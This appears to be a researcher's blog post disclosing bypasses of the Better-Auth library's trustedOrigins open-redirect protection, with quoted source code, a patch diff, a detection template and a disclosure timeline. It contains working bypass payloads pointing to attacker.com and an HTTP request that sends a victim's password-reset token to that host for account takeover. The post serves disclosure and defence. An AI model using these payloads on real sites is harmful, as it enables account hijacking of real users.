Bypass Better-Auth trustedOrigins Protection leads to ATO
Like starting recon scripts from scratch from time to time just because we feel like it, I decided to do that for my blog and it's design in general. While looking to showcase websites from UI libraries because, why reinvent the wheel when we can just copy paste components from UI libraries, , I found a company named Better-Auth. so I went to their website to get some web design ideias for mine.
Better-auth, with over 40,000+ weekly downloads and 350,000+ downloads in total, is a open source library written in Typescript that makes authentication easier for companies to implement into their websites, handling all sorts of authentication types, from the usual email signin, to signin with magic links, social media and others. While looking around the good looking website, and because I work in this field, out of curiosity I checked their security features and security issues on github which was when one feature caught my interest.
Open Redirect Protection
Any endpoint added to a Better Auth instance, whether from a plugin or the core, should only use
callbackURL
,currentURL
, orredirectTo
for redirecting users post-action. These values are validated againsttrustedOrigins
for security. Additionally, no endpoint handling GET requests should modify resources unless it has its own protection mechanisms in place.
From past pentest experiences, I knew that a open redirect could be a big issue here, as a attacker could potentially use the Open Redirect vulnerability not only to redirect website users to the attackers website but to also leak important tokens if they are present in the URL itself. So I decided to further investigate how they check if a URL provided by the user is part of the trustedOrigins.
Example trustedOrigins
To declare the trustedOrigins
in a better-auth instance, all the user got to do is to instance the array itself. This example is from the packages/better-auth/src/api/middlewares/origin-check.test.ts
file that works as a test file to check if trustedOrigins is doing what is suppose to be doing:
describe("Origin Check", async (it) => {
const { customFetchImpl, testUser } = await getTestInstance({
trustedOrigins: [
"http://localhost:5000",
"https://trusted.com",
"*.my-site.com",
],
emailAndPassword: {
enabled: true,
async sendResetPassword(url, user) {},
},
advanced: {
disableCSRFCheck: false,
},
});
it("should not allow untrusted origins", async (ctx) => {
const client = createAuthClient({
baseURL: "http://localhost:3000",
fetchOptions: {
customFetchImpl,
},
});
const res = await client.signIn.email({
email: "test@test.com",
password: "password",
callbackURL: "http://malicious.com",
});
expect(res.error?.status).toBe(403);
expect(res.error?.message).toBe("Invalid callbackURL");
});
// ...
This is interesting because not only handles absolute URLs but it also handles subdomains under a certain wildcard. In this example, we can see if a trustedOrigins
array being instanced and used as fetchOptions
in the request. The expected behaviour is that the request will be rejected and return "Invalid callbackURL" because http://malicious.com
is not part of the trustedOrigins.
Origin Check Middleware
Every request made using better-auth, it first goes throught a middleware where the values from certain parameters are validaded against the trustedOrigins
array. We can see the code of the middleware at packages/better-auth/src/api/middlewares/origin-check.ts
, line 11
, where we can resume it to the following code:
// ...
const validateURL = (url: string | undefined, label: string) => {
if (!url) {
return;
}
const isTrustedOrigin = trustedOrigins.some(
(origin) =>
matchesPattern(url,origin) ||
(url?.startsWith("/") && label !== "origin" && !url.includes(":")),
);
if (!isTrustedOrigin) {
ctx.context.logger.error(`Invalid ${label}: ${url}`);
ctx.context.logger.info(
`If it's a valid URL, please add ${url} to trustedOrigins in your auth config
`,
`Current list of trustedOrigins: ${trustedOrigins}`,
);
throw new APIError("FORBIDDEN", { message: `Invalid ${label}` });
}
};
callbackURL && validateURL(callbackURL, "callbackURL");
redirectURL && validateURL(redirectURL, "redirectURL");
errorCallbackURL && validateURL(errorCallbackURL, "errorCallbackURL");
newUserCallbackURL && validateURL(newUserCallbackURL, "newUserCallbackURL");
// ...
In the code we can check the parameters being validaded against the trustedOrigins
array:
- callbackURL - A url to redirect after the user authenticates with the provider
- redirectURL - A url to redirect the user after the request is made
- errorCallbackURL - A url to redirect if an error occurs during the sign in process
- newUserCallbackURL - A url to redirect if the user is newly registered
This parameters first go into the validateURL()
function where their values will be checked against the origins
instanced in the trustedOrigins array. For that, the following condition is used which will return true if the user input URL is a valid trusted origin or return false which will raise a API error as seen above in the code above.
matchesPattern(url,origin) || (url?.startsWith("/") && label !== "origin" && !url.includes(":"))
Taking a look into the matchesPattern()
function, we find the following checks:
File packages/better-auth/src/api/middlewares/origin-check.ts
, line 25
:
const matchesPattern = (url: string, pattern: string): boolean => {
if (url.startsWith("/")) {
return false;
}
// Check for wildcard trustedOrigins config ex: *.example.com
if (pattern.includes("*")) {
return wildcardMatch(pattern)(getHost(url));
}
// Check for absolute URLs ex: https://example.com
const protocol = getProtocol(url);
return protocol === "http:" || protocol === "https:" || !protocol
? pattern === getOrigin(url)
: url.startsWith(pattern);
};
First, we have a check that verifies if our URL provided dosesn't start with /
and then other check that verifies if the trustedConfig origin is a wildcard, ex: *.example.com
. If both conditions are false then it gets the protocol from our url, checks if it's a http/s protocol, if so does a ===
comparison , if not then checks if our the URL starts with the pattern, ex: https://example.com
. That being said, let's move on to the vulnerabilities around this condition.
Bypass absolute trustedOrigins config
Let's say we have the following trustedOrigins
config.
trustedOrigins = [ "https://example.com" ]
Our input url
goes into the getProtocol()
function and then, depending on the bollean value returned, a comparison with our input is made using the the getOrigin()
function against the absolute trusted origin from the config or checks if our input starts with the trusted origin itself. We can see the code from both functions bellow:
File packages/better-auth/src/utils/url.ts
, line 46
:
export function getOrigin(url: string) {
try {
const parsedUrl = new URL(url);
return parsedUrl.origin;
} catch (error) {
return null;
}
}
export function getProtocol(url: string) {
try {
const parsedUrl = new URL(url);
return parsedUrl.protocol;
} catch (error) {
return null;
}
}
Both functions are using the URL()
class, that follows the WHATWG URL Standards, which is good and the recommended ( unlike url.parse
that is vulnerable to hostname spoofing ) and if the user input is not a url then it will just return null which is beeing verified with !protocol
. So what can we do here ? From what I know, nothing, good checks are in place and everything seems correct, plus, there was no way to get throught the ===
and .startswith
verifications without our remote URL beeing denied.
However, there's a second part to the condition:
(url?.startsWith("/") && label !== "origin" && !url.includes(":"))
This condition, based on what I assume was the developer's intention, is meant to check if it's a simple local path, ex /dashboard
. That's why it verifies if it starts with /
, that our input is not destinated to the origin
header and that our input does not include :
. The problem here is that the developer didn't took into account relative special schemes, meaning a URL can also be interpreted as //example.com
by the WHATWG URL Standards. We can resume this bypass to the following:
/*
trustedOrigins = [ "https://example.com" ]
FALSE OR TRUE
matchesPattern(url,origin) || (url?.startsWith("/") && label !== "origin" && !url.includes(":"))
*/
validateURL("https://example.com", "callbackURL") // ✅ Redirect to https://example.com
validateURL("https://attacker.com", "callbackURL") // ❌ APIError, No Redirect
validateURL("//attacker.com", "callbackURL") // ✅ Redirect to http://attacker.com
Even tho the function matchesPattern()
returns false, our arbitrary URL will still be a valid trusted origin because our payload //attacker.com
checks all the conditions in the second part, thus returning as a trusted origin in the eyes of better-auth, leading to a Open Redirect vulnerability.
Sigh ...
I wanted to get a sense of the vulnerability impact before reporting it, so I decided to hold on to it for some days (and because I was occupied with in real life stuff). Sadly, the same day that I was writing my report to Better-auth, I noticed a new commit published 5 hours before. Turns out, 2 other researchers reported the same vulnerability and the commit, was to patch the same vulnerability, all within the same day. Sad but deserved, kudos to the researchers Sumeet and Shivaraj. Checking out the patch, we can see that the code remained the same, but now, it checks if the URL starts with //
.
const isTrustedOrigin = trustedOrigins.some(
(origin) =>
matchesPattern(url, origin) ||
- (url?.startsWith("/") && label !== "origin" && !url.includes(":")),
+ (url?.startsWith("/") &&
+ label !== "origin" &&
+ !url.includes(":") &&
+ !url.includes("//")),
);
if (!isTrustedOrigin) {
ctx.context.logger.error(`Invalid ${label}: ${url}`);
Luckily for me, the patch itself was insufficient to fully fix the vulnerability, so an attacker could still bypass it using /\/attacker.com
because again, the WHATWG URL parser treats this as a malformed path but will happilly fix our URL to https://attacker.com
. You can try it in your browser console:
> new URL("/\/attacker.com", "https://0.0.0.0").href
https://attacker.com
Bypass wildcard *. trustedOrigin config
Let's say we have the following trustedOrigins
config.
trustedOrigins = [ "*.example.com" ]
Unlike the first bypass, with this configuration, our input will endup in the following line, where our pattern (in this config being *.example.com
) will be used as a argument to generate a regular expression-based matching function:
// ...
// Check for wildcard trustedOrigins config ex: *.example.com
if (pattern.includes("*")) {
return wildcardMatch(pattern)(getHost(url));
}
// ...
File packages/better-auth/src/utils/wildcard.ts
, line 238
// wildcardMatch() function code ...
// input pattern = "*.example.com"
// output pattern = [^/\]*?.example.com[/\]*?
regexpPattern = transform(pattern, options.separator);
let regexp = new RegExp(`^${regexpPattern}$`, options.flags);
let fn = isMatch.bind(null, regexp) as isMatch;
fn.options = options;
fn.pattern = pattern;
fn.regexp = regexp;
return fn;
// ...
As we can see from the function, the transform()
function will create a regexpPattern from the pattern given in the config. With some local debugging, I found out the regex will result in [^/\\]*?\.example\.com[/\\]*?
and after, will return a expression based matching function. However, before the actual regex matching step, our input will enter into the getHost()
function.
File packages/better-auth/src/utils/url.ts
, line 69
export function getHost(url: string) {
if (url.includes("://")) {
const parsedUrl = new URL(url);
return parsedUrl.host;
}
return url;
}
Like the getOrigin()
and getProtocol()
functions seen above, this function also uses new URL
however, it only uses it if the user input includes ://
and if does not include it, then the function will return whatever supposed host we gave to it. Now that we know we can input whatever we want as a long we don't include ://, time to check the security of the regex itself.
┌──────────────────┐ ┌────────────────┐ ┌─────────────────┐
│ None of [ "/\" ] │ ────▶ │ ".example.com" │ ────▶ │ One of [ "/\" ] │
└──────────────────┘ └────────────────┘ └─────────────────┘
demo .example.com / ✅ Redirect to https://example.com
demo .attacker.com / ❌ APIError, no redirect
http:attacker.com? .example.com / ✅ Redirect to http://attacker.com
As we can see from the graphic representation above, the regex does not allow us to insert /\
before ".example.com" which is good if / and \ were the only special characters in a URL, however, we can actually bypass this regex using the characters ?
and :
.
This 2 characters (there's more) have a special meaning in a URL, for example ?
starts the query string, passing parameters to the server and :
separates parts of a URL, like scheme, port, user info, etc ... meaning we can use this payload, http:attacker.com?.example.com
.
This works because we first include what is beeing validaded (.example.com
) and because we can include whatever we want at the begining as long is not /\
, meaning we can insert http:
which will a valid website http:// schema, and ?
which after the the redirect to http://attacker.com, will serve to make to make everything after ?, a parameter thus being ignored.
/*
trustedOrigins = [ "*.example.com" ]
TRUE OR FALSE
matchesPattern(url,origin) || (url?.startsWith("/") && label !== "origin" && !url.includes(":"))
*/
validateURL("demo.example.com", "callbackURL") // ✅ Redirect to https://example.com
validateURL("demo.attacker.com", "callbackURL") // ❌ APIError, No Redirect
validateURL("http:attacker.com?.example.com", "callbackURL") // ✅ Redirect to http://attacker.com
Stealing Reset Password Tokens
This open redirect vulnerability allows a attacker to potentially steal password reset tokens by rederecting the tokens to the attacker server when the victim clicks on the link.
1. The attacker goes into the Forgot Password and inserts the open redirect payload:
POST /api/auth/forget-password HTTP/1.1
Host: demo.▇▇▇▇-auth.com
Content-Length: 70
Origin: https://demo.▇▇▇▇-auth.com
{
"email":"victim@victim_email.com",
"redirectTo":"/\/attacker.com"
}
2. The victim will receive a email containing the content bellow. When the victim clicks on the link, he will be redirected tohttps://attacker.com with the password reset token attach to it https://attacker.com/?token=8vkoCzMXgYs9WALU4XFUTMgE
.

Nuclei Template
This nuclei template was made to try to identify if a website is using better-auth. It uses headless browser in order to load the javascript and then it fetches the loaded javascript files, checks for certain keywords in every javascript file that identify if the library is being used or not. This was made while I was holding to the first vulnerability to check the overall use of the library in the wild and how many websites were vulnerable at that moment. Initially, I had a template to check a certain path but that can trigger sFalse Negatives because the default path can be changed.
id: better-auth-check
info:
name: Better Auth library check
author: castilho
severity: info
headless:
- steps:
- action: navigate
args:
url: "{{BaseURL}}"
- action: waitidle
- action: script
name: extract
args:
code: |
() => {
let scriptContents = [];
let foundBetterAuthError = false;
// Extract script file URLs from loaded resources
let entries = performance.getEntriesByType('resource');
let scriptUrls = entries.filter(entry => entry.initiatorType === 'script').map(entry => entry.name);
// Extract script URLs from <link rel="modulepreload"> tags
document.querySelectorAll('link[rel="modulepreload"][as="script"][href]').forEach(link => {
scriptUrls.push(link.href);
});
// Fetch external script contents
let scriptPromises = scriptUrls.map(url => fetch(url)
.then(response => response.text())
.then(content => scriptContents.push(content))
.catch(error => scriptContents.push(`Error fetching ${url}: ${error}`))
);
return Promise.all(scriptPromises).then(() => {
return scriptContents.join('\n\n---\n\n');
});
}
extractors:
- type: regex
part: extract
regex:
- (BetterAuthError|BETTER_AUTH_URL|PUBLIC_BETTER_AUTH_URL|NUXT_PUBLIC_BETTER_AUTH_URL|NEXT_PUBLIC_BETTER_AUTH_URL|better-auth-client)

End
After submitting my report in a worrie so that other researchers don't report it first again, a patch for it was released and a GitHub Advisory given, also, thanks to the owner of the library for fixing the vulnerability within a few hours. You can also check this link to play around with the code for this vulnerability, in this link. Thank you for taking time of your day to read this post, best regards, castilho.
Timeline
Date & Time | Event |
---|---|
24/02/2025 | Report Submitted |
24/02/2025 | Report gets triggered and vendor is contacted |
24/02/2025 | Patch for the vulnerability is released |